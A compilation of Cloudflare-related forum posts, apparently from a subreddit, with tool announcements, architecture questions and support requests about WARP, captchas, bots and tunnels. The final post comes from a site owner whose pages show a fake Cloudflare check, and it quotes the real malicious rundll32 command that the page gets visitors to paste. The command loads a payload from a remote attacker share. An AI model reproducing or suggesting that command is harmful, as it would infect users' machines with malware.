This will allow Agents to perform complex investigations and remediate then securely : they could perform traffic anomaly investigations, DDoS traffic / abuse triage, origin health diagnosis, cache behavior forensics.

Check it out :

Your contribution is welcomed, so don’t hesitate to create a PR or star the project if you like it.

Is there a cloudflare mobile app you can use to see your account? vercel has one, github has a mobile app too.

If cloudflare doesn't have one, they should make one

The Cloudflare dashboard is great for configuration. It's rough for actually working with KV data.

Things that drove me nuts:

• No search across namespaces. If you don't remember which namespace a key lives in, you're scrolling.

• One account at a time. Switching between a personal and work account is a full logout loop.

• Values edited in a plain textarea — no JSON formatting, no syntax highlighting, no diff, no hex view for binary values.

• No bulk ops. Want to delete 200 stale keys? 200 clicks.

• No import. Exports are cumbersome.

• TTLs aren't visible on keys, so things just… vanish.

• Pagination on namespaces with tens of thousands of keys.

So I built KVault — a native desktop app that sits on top of the Cloudflare API and replaces the dashboard for day-to-day KV work.

What it does:

• Unified tree of all accounts + namespaces in one sidebar

• Global search across every namespace (case, whole-word, regex)

• Monaco editor (the VS Code one) for values, with JSON auto-format and a raw/formatted toggle

• Hex viewer + inline image preview for binary blobs

• Multi-select + bulk delete / bulk export (JSON or CSV)

• Import from JSON/CSV with a preview step

• Saved per-namespace filters

• TTL shown on every key, settable on create/update

• Cmd+K command palette + keyboard shortcuts for everything

• Workspaces: save the full session (tabs, filters, layout) and restore it later

• Virtualized key list — scroll through thousands instantly

• API tokens stored in the OS keychain, never in plaintext or SQLite

Builds for macOS (Apple Silicon + Intel), Windows, and Linux. MIT license.

Repo + downloads:

Not notarized / code-signed yet (solo dev, cost), so there's a Gatekeeper/SmartScreen step on first launch — instructions in the README.

Would genuinely love issues, feature requests, or "why did you do it that way" feedback. Especially from anyone managing KV at scale.

Exploring using cloudflare models in copilot as an alternative to the token based billing. Feedback welcome :)

Hello so ive been using the option on cloudflare warp for a long time, but recently i downloaded another vpn which made it unable to work, but even now where i deleted the other vpn and reinstalled warp doesnt work like it used to. I mean it says its connected but i cant launch an app that i was able to before(its blocked in my country).Also on when its connected it looks like it cant connect to a co-location center? im just guessing since im not very knowledged in this stuff but maybe thats the issue? The warp with option works but i noticed its way slower than normal , i tried looking online but couldnt find a solution pls help

I'm having trouble verifying my email, I've clicked on the link and resent multiple times, on different browsers and incognito tabs but no luck. Sometimes my account will say 'Verified' but then will go back to having nothing next to the 'email' section on my profile.

Any ideas??

Hi all,

I have been using Indeed daily for over a year with mostly no issues - sometimes the captcha takes 10-15 loops, but otherwise it is fine. I use Vivalidi (in a Linux VM, if that matters). For the last week or so, the Cloudflare checkbox loop has been blocked from accessing Indeed. I have tried disabling my VPN. I have set both Indeed and Cloudflare to "no blocking" in Vivaldi settings. Based on some other posts, I have tried various network setting changes regarding DNS-over-HTTPS as well as the user agent. None of the combination of changes I have tried has worked. It works fine in Firefox, which means the Linux VM isn't causing the issue. Are there any other mechanisms I can try?

I will cross-post this on both Cloudflare and Vivaldi subreddits, just in case.

Thanks!

We plan on receiving and storing ~50,000 emails from ecommerce brands daily. Is Cloudflare Email services good for handling this throughput?

To my understanding, inbound is unlimited/free

I’m building a web app on Cloudflare Workers and I’m struggling a bit with the architecture.

Requirements are pretty mixed:

• Public pages → should be SEO-friendly and statically generated (SSG)

• App part → fully dynamic with authentication

• Real-time features → WebSockets required

• Database → D1 (Cloudflare)

• Runtime → Cloudflare Workers

So basically: hybrid app with marketing pages + real app in one project.

Right now I’m considering two approaches:

Option 1: React (with tanstackrouter) + Hono

• Full control over routing and APIs

• Easy to integrate WebSockets (e.g. via Durable Objects)

• But I’d have to build SSG / SEO handling myself

Option 2: TanStackStart

• Better structure for routing + data fetching

• Potential for SSG / SSR hybrid

• But unclear how well it plays with Workers + WebSockets + D1 in real production setups

What I care about:

• Clean separation between static (CDN cached) and dynamic routes

• No unnecessary Worker invocations for static pages

• Good DX without fighting the platform

• WebSocket support without hacks

What I don’t want:

• Next.js/OpenNext style setup where everything goes through the Worker anyway

Has anyone built something similar on Cloudflare Workers?

• How did you structure SSG vs dynamic routes?

• Did you split into multiple deployments (static + app)?

• Any real-world experience with TanStack Start on Workers?

• Or is Hono + custom setup just the more realistic approach here?

Would appreciate honest opinions, especially from people who actually run this in production.

Note: Yes, I used AI to help write the post — my English isn’t strong enough to express everything clearly on my own.

wanted to share this because the cloudflare stack made this project weirdly cheap to run compared to what i was expecting.

the idea: i watch a lot of youtube for work and got tired of not being able to find things people said. youtube search matches titles, not the actual content. so i built a tool where you paste urls, it pulls transcripts, and you can semantic search across all of them.

the stack is entirely cloudflare. workers for the api, d1 for storing transcripts and metadata. vectorize handles the embeddings so i can do semantic search. frontend is just a pages site.

for pulling transcripts i use transcript api. setup was:

npx skills add ZeroPointRepo/youtube-skills --skill youtube-full

transcript comes back, i chunk it into segments, generate embeddings with workers ai (the bge-base model), and store the vectors in vectorize. the d1 table holds the raw text and metadata.

here's the part that blew me away. i have 1200 videos indexed. the monthly cost breakdown:

• workers: free tier covers it. i'm nowhere near the limits

• d1: free tier. the database is like 50mb of text

• vectorize: this is the only paid part. about $0.40/month for my index size

• workers ai: free tier for the embedding generation

total cost is under a dollar a month for a fully functional semantic search engine across 1200 videos. i was previously running a similar setup on aws with postgres pgvector and it cost me $25/month for the rds instance alone.

search latency is about 80ms end to end. workers cold starts aren't an issue because i have enough traffic to keep them warm. the vectorize results come back fast and then i pull the matching text chunks from d1.

if you're building anything that involves text search or embeddings, the d1 + vectorize combo is kind of absurd for the price.

Hey All,

We have Cloudlfare with Shopify, and have WAP rules set up with managed challenges to stop bots within specific regions (AKA China/Singarpore/Etc).

The last week or so, we have been seeing significantly larger portion of bots getting around the managed challenge, which I assume is either now bots using AI to beat the managed challenge or botnet attack (from assuming IoT).

Also seeing alot of bots from Singapore but even with hard blocks on the country/region for both offending ASN's or country, traffic still seems to come through. It looks like the traffic being designated Singapore (in shopify) is actually from Vietnam/South Korea or even Australia (where we mainly trading currently).

Wondering what everyone is doing now to mitigate or what everyone is seeing?

im trying to acces to learn c++ but its been down since days. i did check cloudflare status

I am using the Cloudflare One app as the 1.1.1.1. is banned in my country (India). The PC version works perfectly fine.

The problem is in the phone app (Nobody is able to connect through the phone app). The app gets stuck on "Connecting" forever.

Proton VPN works fine. All the other VPNs fail to connect.

I'm looking for a workaround to get it to work somehow. Please help.

I put together a starter template that combines Hono, React 19, and TanStack Router to get SSR working on Cloudflare Pages.

Full edge-ready setup where:

• Hono handles the backend + API routes

• React handles UI with hydration

• TanStack Router does file-based routing + SSR

• Vite handles the build process

• Everything deploys directly to Cloudflare Pages

Paid for annual Pro early March, somehow didn’t get it, and had to pay again 20 days later.

Seems like every time people have had this issue they’ve been stuck in limbo with billing support for months. Its been almost a month with no response, kinda ridiculous. Anyone have any ideas on how to get support to handle this? I want to avoid a chargeback since migrating would be a huge hassle and I do like the product offering! :(

Ok so I'm very new to cloudflare tunnels and just set my first one up. It's working great - I can access the website of my self-hosted app without forwarding any ports on my router. But I'm struggling to understand how that is inherently more secure than port forwarding. Is it just that it's hiding my public IP address? I mean if the tunnel URL is accessible from the Internet and there are vulnerabilities on the server hosting the app, why couldn't someone exploit those vulnerabilities just as easily as if I forwarded the needed port and didn't fool with the whole tunnel thing?

Since using WARP I frequently run into google issues. Always in the "you are sending automated requests" topic - I either have to solve captchas a lot or get blocked entirely:
"We're sorry...
... but your computer or network may be sending automated queries. To protect our users, we can't process your request right now."

As soon as I turn WARP off everything is back to normal. Any ideas?

Hi everyone,
Lastly, after I access my website via Chrome and Edge as well, initially, I see a Cloudflare-branded page that looks like the attached one.
If you follow instructions (Windows + R and CTRL + V), the command that this malicious script wants to run is the following:

"rundll32.exe \\bluelemongravitydanceclock.shop\18d8983c-3be8-4779-b35e-c24c6044357b\user_3842.cf,run"

I was trying to access the website from various machines, and sometimes this screen appears, and sometimes it doesn't. Until now, only the phone has been running correctly (not running this scam screen)

Has anybody had the same experience? Can pelase somebody please give an idea how to resolve this issue?

Additional information:

1. I tried on a completely newly installed Windows (no additional software installed).

2. I run Malwarebytes (I have a personal license) to be sure if it will find something on the local machine.

3. I used Chrome and Edge. The same story on both browsers.

4. If my Malwarebytes Browser Guard is enabled, then access to my website has been blocked - please see the following attachment: